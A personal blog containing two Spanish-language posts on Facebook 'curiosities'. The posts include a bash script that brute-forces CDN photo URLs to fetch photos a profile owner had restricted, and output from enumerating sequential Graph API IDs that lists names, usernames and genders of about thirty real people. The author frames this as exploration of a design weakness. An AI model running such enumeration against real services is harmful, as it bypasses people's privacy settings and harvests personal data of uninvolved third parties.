Blog Season 2 Trailer


So… It’s been three years since I last updated this blog and I’m kinda missing doing so; therefore I hereby commit to resume posting, these will be the likely updates on the blog

  • Moving Out!: I’ll be migrating the blog completely, both from host and perhaps framework. Of course there will be an entry about it.
  • I may completely quit writing in Spanish: Though I like to keep it open to all audiences, writing one entry is hard and time-consuming by itself, let alone in two languages.
  • A Simple Telegram Bot: I have an abandoned Telegram Bot laying around, I will do a review of the code, simple tutorial (code + hosting) and examples.
  • Security by Example: I had the chance to review a software service with mild security and design flaws. We’ll review the case as a 101 example.
  • iPad Note Taking: I’ve been using an iPad Pro for about a year for college note-taking. I’m working on a post-process to improve the results of my notes.

Curiosidades de Facebook Reloaded

En el post anterior ya mencioné algunas curiosidades respecto a las url’s de facebook y que información podíamos sacar de ellas; sin embargo sentí que quedaba algo pendiente y es mostrar como es hipotéticamente posible robar fotos de una cuenta a la que no tenemos acceso, mediante la fuerza bruta.

¿Por qué “hipotéticamente”? En el post anterior mostré la siguiente url

https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-snc6/262207_10150250379330782_639435781_7283246_1748549_n.jpg[/note]

donde el número marcado en rojo corresponde a mi profile id, el cual obviamente es constante, al contrario de todos los demás números  que son variables y representan el resultado de algún algoritmo de ordenamiento o algo así. Para los que no lo recuerden o sepan (este blog intenta ser lo más friendly posible) un algoritmo de fuerza bruta, implica ni más ni menos que ir probando todas las combinaciones posibles.

Analizemos esto, tenemos 37 dígitos que varian, siendo los mismos decimales cada dígito tiene 10 combinaciones posibles lo que nos da un 10³⁷ combinaciones aproximadamente. Es más que evidente que es un número bastante grande. Computacionalmente es un número más que accesible que tardara su tiempo dependiendo del poder de cálculo de nuestra computadora, el problema radica en que por cada iteración haremos un pedido al servidor y eso tiene su delay. Multipliquemos este delay por 10³⁷ y más o menos tenemos desde Moisés hasta la actualidad.

Podriamos realizar un ataque a más de un servidor y/o desde más de una pc atacante, pero en definitiva el tiempo necesario para perpetrar dicho ataque seguiría siendo bastante.

Resumiendo, este ataque no tiene practicidad alguna, más que demostrar que hipotéticamente es posible y para resaltar ciertas curiosidades que tiene esta red social.

El Ataque

Antes de realizar un script para perpetrar el ataque de fuerza bruta, indagué un poco los links de mis propias fotos, esperando encontrar algun orden lógico el cual me permita acotar la cantidad de variables y me encontré con una curiosidad. Los links de mis fotos viejas (09-10) poseian otro formato

https://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/v254/51/16/639435781/n639435781_450402_9982.jpg

En base a la observación el /51/16 parecería constante así como el /v254 tenía cierta persistencia, pero poniéndonos estrictos podríamos decir que tenemos 26 dígitos que varían, bajamos 11 variables! Sin embargo sigue siendo un número bastante alto.

Por lo que para el script en cuestión tomé ciertas consideraciones al “atacar” a un álbum específico

  • /v254/51/16 son contantes
  • 45042 posee sólo 10 ciclos de iteración
Obteniendo como resultado
[sourcecode lang=”bash” collapse=”false”]
#!/bin/bash
LOC=/home/alejandro/Escritorio/Facebook
OUTPUT="$LOC/file.txt"
BASE="http://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/"
LINK=""
ID=639435781
CONST1=254
CONST2=51
CONST3=16
MIN1=450403
MAX1=450412
MIN2=702
MAX2=3970

while [ $MIN1 -lt $MAX1 ];do
MIN2=702
while [ $MIN2 -lt $MAX2 ];do
LINK=$BASE"v"$CONST1"/"$CONST2"/"$CONST3"/"$ID"/n"$ID"_"$MIN1"_"$MIN2".jpg"
echo $LINK
TEST=$(wget $LINK -o – -q)
if [ "$TEST" != "" ]; then
echo $LINK >> $OUTPUT
fi
let MIN2=$MIN2+1
done
let MIN1=$MIN1+1
done
[/sourcecode]

En este preciso momento, el script lleva 2 horas ejecutándose y como resultado arrojó las siguientes imágenes

Se puede apreciar que las fotos siguen el orden lógico del script

Colorario

Para resumir, planté la hipótesis de que es posible ejecutar un ataque de fuerza bruta contra los servidores de imágenes de facebook. Usando un caso modelo acotado, demostré que es posible aunque extremadamente impráctico.

Como aprendizaje o curiosidad me queda, que las imágenes están alojadas ‘públicamente’, que las url de las mismas muestran el id de su dueño y una de las cosas más interesantes es que el servidor permite realizar el ataque.

Me resulta curioso como uno es capaz de realizar un gran número de pedidos a direcciones inválidas sin que el servidor detecte un comportamiento sospechoso o si lo hace, no actúe.

NOTA: Al término de esta entrada el script arrojó otro resultado, 
siendo al momento 4 imágenes en 2 horas 20 min aproximadamente.

Licencia Creative Commons
Curiosidades de Facebook Reloaded por Alejandro Pernin se encuentra bajo una Licencia Creative Commons Atribución 3.0 Unported.

Curiosidades de Facebook

Hay muchas cosas en la vida, que uno ve, conoce, utiliza y desconoce pequeñas curiosidades o perlitas que no van muy al caso, pero siempre son interesantes de conocer. Facebook ha causado enorme controversia, con sus políticas de privacidad, supuesta exposición de datos privados, etc. Aquí no voy a hablar de eso ya que soy temeroso de los abogados de Mark Zuckerberg y no tengo dinero para costearme un litigio legal, así que sólo mostraré unas pequeñas perlitas con las que me he encontrado.

Observemos la siguiente URL:

[su_note color=”#e0e0e0″]https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-snc6/262207_ 10150250379330782_639435781_7283246_1748549_n.jpg[/su_note]
Dicha URL corresponde al enlace directo de mi foto de perfil, aunque posea una configuración de seguridad tal que sólo mis amigos puedan ver mi foto de perfil, cualquiera con esa URL podría verla; con lo que por medio de un intermediario habilitado, uno podría tener acceso a las fotos de una persona que normalmente no podría.

-Ahh, pero no pasa nada, porque siempre tiene que haber un amigo que le pase el link. ERROR.

Luego voy a mostrar un ejemplo, pero teoricamente es  posible crear un algoritmo que variando las secuencias numéricas de la URL, capture las imágenes subidas. Las secuencias numéricas no son numeros al azar, sino que identifican el perfil, el album y la foto (ejemplo burdo). Un ejemplo particular, el 639435781 remarcado en la URL corresponde a mi ‘profile id”.

Existe una suerte de “aplicación” dentro de facebook, que dado un numero de perfil, nos devuelve cierta información.
http://graph.facebook.com/639435781 nos devuelve:

[su_note color=”#e0e0e0″]
{
“id”: “639435781”,
“name”: “Alejandro Pernin”,
“first_name”: “Alejandro”,
“last_name”: “Pernin”,
“link”: “https://www.facebook.com/ale.pernin”,
“username”: “ale.pernin”,
“gender”: “male”,
“locale”: “en_GB”
}[/su_note]

No es información del todo privada, menciona solo mi nombre, apellido, sexo y en qué idioma uso Facebook; asimismo si mi configuración de privacidad fuese tal que mi mail sea público, aparecería en los datos. De nuevo, esto nos permite mediante un algoritmo (para nada complicado) ir obteniendo datos, por ejemplo yo utilizé un algoritmo que a partir de mi id, iba a obtener los resultados de los siguientes 100 id’s; el resultado fué el siguiente:

[su_spoiler title=”Ver Resultados”]

{“id”:”639435781″,”name”:”Alejandro Pernin”,”first_name”:”Alejandro”,”last_name”:”Pernin”,”link”:”http://www.facebook.com/ale.pernin”,”username”:”ale.pernin”,”gender”:”male”,”locale”:”en_GB”}
{“id”:”639435782″,”name”:”Roslyn Fontaine”,”first_name”:”Roslyn”,”last_name”:”Fontaine”,”link”:”http://www.facebook.com/people/Roslyn-Fontaine/639435782″,”locale”:”en_US”}
{“id”:”639435787″,”name”:”Lucie Sykes”,”first_name”:”Lucie”,”last_name”:”Sykes”,”gender”:”female”,”locale”:”en_US”}
{“id”:”639435789″,”name”:”Joy Garcia”,”first_name”:”Joy”,”last_name”:”Garcia”,”link”:”http://www.facebook.com/people/Joy-Garcia/639435789″,”gender”:”female”,”locale”:”en_US”}
{“id”:”639435792″,”name”:”Franco Olivera”,”first_name”:”Franco”,”last_name”:”Olivera”,”link”:”http://www.facebook.com/people/Franco-Olivera/639435792″,”gender”:”male”,”locale”:”es_LA”}
{“id”:”639435795″,”name”:”Mary Ann”,”first_name”:”Mary”,”last_name”:”Ann”,”link”:”http://www.facebook.com/people/Mary-Ann/639435795″,”locale”:”en_US”}
{“id”:”639435796″,”name”:”Selovema Alami”,”first_name”:”Selovema”,”last_name”:”Alami”,”link”:”http://www.facebook.com/people/Selovema-Alami/639435796″,”gender”:”female”,”locale”:”fr_FR”}
{“id”:”639435803″,”name”:”Krista Schriver”,”first_name”:”Krista”,”last_name”:”Schriver”,”link”:”http://www.facebook.com/kristaaa”,”username”:”kristaaa”,”gender”:”female”,”locale”:”en_US”}
{“id”:”639435805″,”name”:”Amanda Wade”,”first_name”:”Amanda”,”last_name”:”Wade”,”gender”:”female”,”locale”:”en_US”}
{“id”:”639435807″,”name”:”William Waddington”,”first_name”:”William”,”last_name”:”Waddington”,”link”:”http://www.facebook.com/people/William-Waddington/639435807″,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435813″,”name”:”Stephen R. Abdon”,”first_name”:”Stephen”,”middle_name”:”R.”,”last_name”:”Abdon”,”link”:”http://www.facebook.com/people/Stephen-R-Abdon/639435813″,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435815″,”name”:”Andres Restrepo Bastidas”,”first_name”:”Andres”,”last_name”:”Restrepo Bastidas”,”link”:”http://www.facebook.com/people/Andres-Restrepo-Bastidas/639435815″,”gender”:”male”,”locale”:”es_LA”}
{“id”:”639435818″,”name”:”Jerome Haquin”,”first_name”:”Jerome”,”last_name”:”Haquin”,”link”:”http://www.facebook.com/people/Jerome-Haquin/639435818″,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435820″,”name”:”Nick Yencopal”,”first_name”:”Nick”,”last_name”:”Yencopal”,”link”:”http://www.facebook.com/nick.yencopal”,”username”:”nick.yencopal”,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435823″,”name”:”Carlos Velez”,”first_name”:”Carlos”,”last_name”:”Velez”,”link”:”http://www.facebook.com/people/Carlos-Velez/639435823″,”gender”:”male”,”locale”:”es_LA”}
{“id”:”639435826″,”name”:”Meryem u00c7alu0131u015fkan”,”first_name”:”Meryem”,”last_name”:”u00c7alu0131u015fkan”,”link”:”http://www.facebook.com/people/Meryem-u00c7alu0131u015fkan/639435826″,”gender”:”female”,”locale”:”tr_TR”}
{“id”:”639435830″,”name”:”Emilio Consul Jr”,”first_name”:”Emilio”,”middle_name”:”Jr”,”last_name”:”Consul”,”link”:”http://www.facebook.com/people/Emilio-Consul-Jr/639435830″,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435831″,”name”:”Mattie Willock”,”first_name”:”Mattie”,”last_name”:”Willock”,”link”:”http://www.facebook.com/people/Mattie-Willock/639435831″,”gender”:”male”,”locale”:”en_GB”}
{“id”:”639435835″,”name”:”Emanuel Calo”,”first_name”:”Emanuel”,”last_name”:”Calo”,”link”:”http://www.facebook.com/people/Emanuel-Calo/639435835″,”gender”:”male”,”locale”:”es_LA”}
{“id”:”639435840″,”name”:”Moo Massoud”,”first_name”:”Moo”,”last_name”:”Massoud”,”link”:”http://www.facebook.com/Tranceholic”,”username”:”Tranceholic”,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435842″,”name”:”Emily Ong”,”first_name”:”Emily”,”last_name”:”Ong”,”gender”:”female”,”locale”:”en_US”}
{“id”:”639435843″,”name”:”Janet Ung”,”first_name”:”Janet”,”last_name”:”Ung”,”link”:”http://www.facebook.com/people/Janet-Ung/639435843″,”gender”:”female”,”locale”:”en_US”}
{“id”:”639435844″,”name”:”Alexandra Hughes”,”first_name”:”Alexandra”,”last_name”:”Hughes”,”username”:”alex.elizabeth.hughes”,”gender”:”female”,”locale”:”en_US”}
{“id”:”639435847″,”name”:”Tom Kurvers”,”first_name”:”Tom”,”last_name”:”Kurvers”,”link”:”http://www.facebook.com/people/Tom-Kurvers/639435847″,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435855″,”name”:”Solveig Rabjerg”,”first_name”:”Solveig”,”last_name”:”Rabjerg”,”gender”:”female”,”locale”:”da_DK”}
{“id”:”639435858″,”name”:”Eddie Lian”,”first_name”:”Eddie”,”last_name”:”Lian”,”link”:”http://www.facebook.com/eddielian”,”username”:”eddielian”,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435859″,”name”:”Rosie Romero”,”first_name”:”Rosie”,”last_name”:”Romero”,”link”:”http://www.facebook.com/rosa.romero1″,”username”:”rosa.romero1″,”gender”:”female”,”locale”:”en_US”}
{“id”:”639435861″,”name”:”Lee Blessed”,”first_name”:”Lee”,”last_name”:”Blessed”,”gender”:”female”,”locale”:”en_US”}
{“id”:”639435862″,”name”:”Wade Angeli”,”first_name”:”Wade”,”last_name”:”Angeli”,”username”:”wadange”,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435865″,”name”:”Karlo Lugo”,”first_name”:”Karlo”,”last_name”:”Lugo”,”link”:”http://www.facebook.com/karlorlm”,”username”:”karlorlm”,”gender”:”male”,”locale”:”en_US”}
{“id”:”639435872″,”name”:”Mona Cecilie Bakkene”,”first_name”:”Mona”,”middle_name”:”Cecilie”,”last_name”:”Bakkene”,”link”:”http://www.facebook.com/people/Mona-Cecilie-Bakkene/639435872″,”gender”:”female”,”locale”:”nb_NO”}

[/su_spoiler]

Como se puede apreciar no son 100 resultados ya que algunos resultados arrojan “false” y mi algoritmo los omite; pero sin embargo se puede entender lo que quiero demostrar.

¿Es seguro utilizar Facebook?
“Lo dejo a tu criterio” – Karina Olga Jelinek, filósofa contemporánea argentina.

Licencia Creative Commons
Curiosidades de Facebook por Alejandro Pernin se encuentra bajo una Licencia Creative Commons Atribución 3.0 Unported.
Basada en una obra en blog.aleperno.com.ar.